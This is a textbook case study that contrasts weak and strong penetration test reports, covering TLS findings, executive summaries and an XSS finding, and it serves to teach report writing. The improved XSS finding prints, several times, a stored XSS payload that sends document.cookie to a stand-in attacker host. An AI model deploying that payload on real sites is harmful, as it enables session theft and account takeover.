Real Anonymized Examples" slug: case-study-good-bad-reports chapter: 39 type: case-study

Case Study 1: Good vs. Bad Pentest Reports --- Real Anonymized Examples

Background

The quality of penetration testing reports varies dramatically across the industry. Some reports are masterworks of clear communication that drive immediate security improvements. Others are nearly useless --- vague, poorly evidenced, and impossible to act upon. This case study presents anonymized examples from real penetration testing engagements, demonstrating the difference between reports that create value and reports that waste everyone's time.

All identifying details have been changed. The vulnerabilities and writing patterns, however, are drawn directly from real-world reports reviewed across multiple organizations.

Example 1: The Vulnerability Scanner Report

The Bad Report

A mid-sized financial services company engaged a penetration testing firm for an annual assessment. The firm delivered a 150-page report that consisted almost entirely of vulnerability scanner output. Here is a representative finding:

Finding: SSL/TLS Vulnerability Severity: High Host: 10.x.x.x

Nessus Plugin ID: 42873 Synopsis: The remote service encrypts traffic using a protocol with known weaknesses. Description: The remote service accepts connections encrypted using SSL 2.0 and/or SSL 3.0. These versions of SSL are affected by several cryptographic flaws...

[Three pages of Nessus output follow]

Solution: Consult the application's documentation to disable SSL 2.0 and 3.0. Use TLS 1.2 or later instead.

What Went Wrong

This "finding" is not a pentest finding --- it is unedited vulnerability scanner output. The problems are numerous:

No Context: The finding does not identify which application or service is affected. "10.x.x.x" tells the remediation team nothing about what system they need to fix or its business function.

No Business Impact: There is no explanation of what this vulnerability means for the organization. Can an attacker actually exploit this? What data is at risk?

No Validation: There is no evidence that the tester validated this finding. Was SSL 2.0 actually accepted, or is this a false positive? The report gives no indication.

No Customized Remediation: The solution is a generic copy-paste from Nessus. It does not reference the specific technology stack, provide configuration examples, or account for the organization's constraints.

Excessive Length: The 150-page report was mostly scanner output, making it impossible for the client to identify the genuinely critical issues among the noise.

The Good Version

Here is how this finding should have been written:

Finding ID: F-012

Title: TLS 1.0 Enabled on Customer-Facing Web Portal

Severity: Medium

CVSS Score: 5.0 (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N)

Affected System: customer-portal.example-bank.com (10.x.x.x:443) --- Customer Internet Banking Portal

Description: The customer-facing internet banking portal accepts TLS 1.0 connections. TLS 1.0 is vulnerable to multiple known attacks, including BEAST (CVE-2011-3389) and POODLE-TLS (CVE-2014-8730), which could allow an attacker in a man-in-the-middle position to decrypt customer session data, including authentication tokens and banking transactions.

Business Impact: While exploitation requires a man-in-the-middle position (reducing practical risk), the presence of TLS 1.0 on a customer banking portal creates regulatory risk. PCI DSS explicitly requires migration from TLS 1.0 (Requirement 4.1), and the FCA expects financial institutions to maintain current encryption standards. Approximately 95% of modern browsers support TLS 1.2+, making TLS 1.0 unnecessary for the vast majority of customers.

Technical Detail: The tester confirmed TLS 1.0 acceptance using the following command:

$ nmap --script ssl-enum-ciphers -p 443 customer-portal.example-bank.com

PORT    STATE SERVICE
443/tcp open  https
| ssl-enum-ciphers:
|   TLSv1.0:
|     ciphers:
|       TLS_RSA_WITH_AES_128_CBC_SHA (rsa 2048) - A
|       TLS_RSA_WITH_AES_256_CBC_SHA (rsa 2048) - A
|     compressors:
|       NULL
|     cipher preference: server
|   TLSv1.2:
|     ciphers:
|       TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 (ecdh_x25519) - A
[...]

The server accepts both TLS 1.0 and TLS 1.2 connections. TLS 1.0 cipher suites include CBC-mode ciphers vulnerable to BEAST-style attacks.

Remediation: 1. Immediate: Disable TLS 1.0 and TLS 1.1 on the web server. For the Apache/Nginx configuration: ``` # Apache SSLProtocol all -SSLv3 -TLSv1 -TLSv1.1

# Nginx ssl_protocols TLSv1.2 TLSv1.3; ``` 2. Monitoring: Before disabling TLS 1.0, analyze server logs to confirm the percentage of clients using TLS 1.0 (expected to be < 1%). 3. Communication: If a small number of customers use legacy browsers, provide advance notice of the TLS 1.0 deprecation.

References: - PCI DSS Requirement 4.1: Use strong cryptography and security protocols - NIST SP 800-52 Rev. 2: Guidelines for TLS Implementations - CWE-326: Inadequate Encryption Strength

Why This Version Works

The improved version provides everything the scanner report lacked: context (it is the customer banking portal), business impact (regulatory risk and customer data exposure), validated evidence (the tester confirmed TLS 1.0 acceptance), specific remediation (exact configuration changes), and appropriate severity (Medium, not the scanner's blanket "High").

Example 2: The Executive Summary Failure

The Bad Executive Summary

A healthcare organization received a penetration testing report with this executive summary:

Executive Summary

A penetration test was conducted from October 1-12. The test identified 47 vulnerabilities: 5 Critical, 12 High, 18 Medium, and 12 Low. The tester was able to gain access to multiple systems. Recommendations are provided in the detailed findings section. The organization should address all critical and high findings as soon as possible.

What Went Wrong

No Overall Risk Assessment: The summary does not tell leadership whether the organization is at significant risk or relatively well-protected. Forty-seven vulnerabilities sounds alarming, but without context, leadership has no idea what this means.

No Business Context: There is no mention of what data or systems are at risk. For a healthcare organization, the key question is: "Can attackers access patient data?" This summary does not answer that question.

No Strategic Recommendations: "Address all critical and high findings" is not a strategy. It does not prioritize, does not estimate effort, and does not help leadership make resource allocation decisions.

No Comparison: Without comparison to previous assessments or industry benchmarks, leadership has no frame of reference.

The Good Executive Summary

Executive Summary

Regional Healthcare Network (RHN) engaged [Firm] to conduct a comprehensive penetration test of its external and internal network infrastructure, clinical applications, and Active Directory environment from October 1-12, 2025.

Overall Risk Assessment: CRITICAL

The assessment revealed a deeply concerning security posture. The testing team demonstrated a complete attack path from the public internet to the electronic health records (EHR) system containing 250,000 patient records. This path exploited three vulnerabilities in sequence: an unpatched public web server (CVE-2024-XXXX), weak Active Directory credentials discovered through Kerberoasting, and excessive database permissions on the EHR system.

If exploited by a malicious actor, this attack path would result in unauthorized access to protected health information (PHI) for a quarter-million patients, triggering mandatory HIPAA breach notification, potential OCR investigation, and estimated liability exposure of $10-50 million based on recent healthcare breach settlements of similar scale.

Key Risk Areas:

1. Public Internet to EHR Path: A determined attacker with moderate skill could replicate the testing team's attack path in less than 24 hours using freely available tools. This is the most urgent risk.

2. Active Directory Weakness: 23% of user accounts were compromised through password attacks, indicating systemic password policy and monitoring deficiencies.

3. Medical Device Network Exposure: Although medical devices were out of scope for active exploitation, network scanning revealed that the medical device VLAN is reachable from the corporate network, creating patient safety risk.

Compared to the 2024 assessment, the total number of findings decreased from 62 to 47 (24% improvement), but the severity profile worsened: Critical findings increased from 2 to 5. The organization has addressed many low-hanging-fruit issues but core architectural weaknesses persist.

Strategic Recommendations: - Immediate (0-14 days): Patch the public-facing web server and segment the EHR database to prevent the demonstrated attack path. Estimated cost: $5,000-$15,000. - Short-term (14-60 days): Implement tiered Active Directory administration, deploy LAPS for local admin passwords, and enforce MFA for all privileged access. Estimated cost: $30,000-$75,000. - Medium-term (60-180 days): Redesign network segmentation to isolate the medical device network, implement a vulnerability management program with 30-day SLAs for critical patches. Estimated cost: $100,000-$200,000.

Why This Version Works

The improved summary tells leadership exactly what they need to know: the organization is at critical risk, patient data is accessible from the internet, the estimated liability is $10-50 million, and there is a prioritized action plan with cost estimates. A board member reading this summary has everything they need to approve budget for remediation.

Example 3: The Missing Evidence Finding

The Bad Finding

Finding: Cross-Site Scripting Severity: High Affected: Admin panel

The admin panel is vulnerable to cross-site scripting. An attacker could inject JavaScript code to steal admin session cookies.

Recommendation: Implement input validation and output encoding.

What Went Wrong

No Specificity: "The admin panel" could mean any number of pages and parameters. The remediation team cannot fix what they cannot locate.

No Evidence: There are no screenshots, request/response pairs, or steps to reproduce. The development team has no way to verify this finding or confirm a fix.

No CVSS Score: Without a standardized severity score, the "High" rating is arbitrary.

Generic Remediation: "Implement input validation and output encoding" is textbook advice that does not address the specific vulnerability location or technology stack.

The Good Finding

Finding ID: F-007

Title: Stored Cross-Site Scripting in Admin Panel User Management

Severity: High

CVSS Score: 8.4 (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N)

Affected System: admin.example.com --- User Management > Create User > "Display Name" field

Description: The admin panel's User Management feature does not sanitize or encode user-supplied input in the "Display Name" field when creating new user accounts. An attacker with a low-privilege admin account (e.g., Help Desk role) can inject JavaScript code that executes in the browser of any administrator who views the user list. Since the user list is displayed on the admin dashboard, the payload executes automatically for every admin who logs in.

Business Impact: An attacker who has compromised any admin account (even a low-privilege role) can escalate to full admin access by stealing session cookies from higher-privilege administrators. The admin panel provides access to customer data, order management, and system configuration. In the context of this organization, this could enable unauthorized access to customer PII for approximately 200,000 users.

Technical Detail:

The tester created a new user account with the following Display Name:

<img src=x onerror="fetch('https://attacker.example.com/steal?c='+document.cookie)">

When any administrator viewed the Users list at https://admin.example.com/users, the JavaScript executed and would transmit the administrator's session cookie to the attacker's server.

Request (Create User):

POST /api/admin/users HTTP/1.1
Host: admin.example.com
Cookie: session=eyJ...helpdesk_session...
Content-Type: application/json

{
  "username": "testuser",
  "display_name": "<img src=x onerror=\"fetch('https://attacker.example.com/steal?c='+document.cookie)\">",
  "email": "test@example.com",
  "role": "viewer"
}

Response:

HTTP/1.1 201 Created
Content-Type: application/json

{"id": 1547, "username": "testuser", "status": "created"}

When the admin dashboard renders the user list, the Display Name is inserted directly into the HTML without encoding:

<td class="user-name"><img src=x onerror="fetch('https://attacker.example.com/steal?c='+document.cookie)"></td>

Steps to Reproduce: 1. Log in to admin.example.com with a Help Desk role account 2. Navigate to Users > Create New User 3. In the Display Name field, enter: <img src=x onerror="alert(document.domain)"> 4. Complete the form and submit 5. Log in with a different admin account and navigate to the Users page 6. Observe the JavaScript alert displaying the domain, confirming XSS execution

Evidence: [Screenshot: Burp Suite showing the POST request with XSS payload] [Screenshot: Admin dashboard displaying the JavaScript alert popup] [Screenshot: Browser developer console showing the rendered HTML with unencoded input]

Remediation: 1. Immediate: Implement output encoding for all user-supplied data rendered in HTML. In the React frontend, ensure the Display Name is rendered using JSX text content (which auto-escapes) rather than dangerouslySetInnerHTML: ```jsx // VULNERABLE

// FIXED
{user.display_name}

2. **Short-term:** Implement server-side input validation to reject Display Names containing HTML tags or JavaScript. 3. **Defense in depth:** Deploy Content-Security-Policy headers to prevent inline script execution: Content-Security-Policy: default-src 'self'; script-src 'self' ``` 4. Long-term: Conduct a code review of all admin panel components for similar output encoding failures.

References: - OWASP: Stored Cross-Site Scripting (https://owasp.org/www-community/attacks/xss/) - CWE-79: Improper Neutralization of Input During Web Page Generation - OWASP Testing Guide: OTG-INPVAL-002

Key Takeaways

  1. Scanner output is not a pentest report. If your findings look like Nessus or Burp Suite output with a cover page, you are not providing a professional service. Manual analysis, validation, and contextualization are what transform scanner data into actionable findings.

  2. Executive summaries must answer business questions. Leadership needs to know: Are we at risk? What is the worst-case scenario? What should we do? How much will it cost? If your executive summary does not answer these questions, it has failed.

  3. Evidence makes findings credible. A finding without evidence is an assertion. A finding with clear, annotated screenshots and reproducible steps is proof. The difference determines whether the development team trusts your report enough to act on it.

  4. Specificity drives remediation. "Fix the XSS" is not remediation guidance. Identifying the exact field, the exact code pattern, and the exact fix in the client's technology stack is what makes your report valuable.

  5. Context separates professional reports from amateur reports. Every finding needs business context: what is the affected system's function, what data does it handle, what regulatory requirements apply, and what is the realistic threat?

Discussion Questions

  1. You receive a 200-page penetration testing report that consists primarily of Nessus and Burp Suite output with minimal analysis. How would you provide feedback to the testing firm, and what would you request in a revised report?

  2. How do you balance the need for detailed technical evidence with the risk of including sensitive data (credentials, patient records, etc.) in the report?

  3. An executive challenges your report by saying "Our last pentest found 80 issues and rated our risk as Medium. Your report only found 15 issues but rates our risk as Critical. Which report is right?" How do you respond?

  4. Should penetration testing firms standardize on a single report format (perhaps CREST's standard), or is customization for each client more appropriate? What are the trade-offs?

  5. How might AI and large language models change the report writing process in the future? What aspects of report writing require human judgment that AI cannot replace?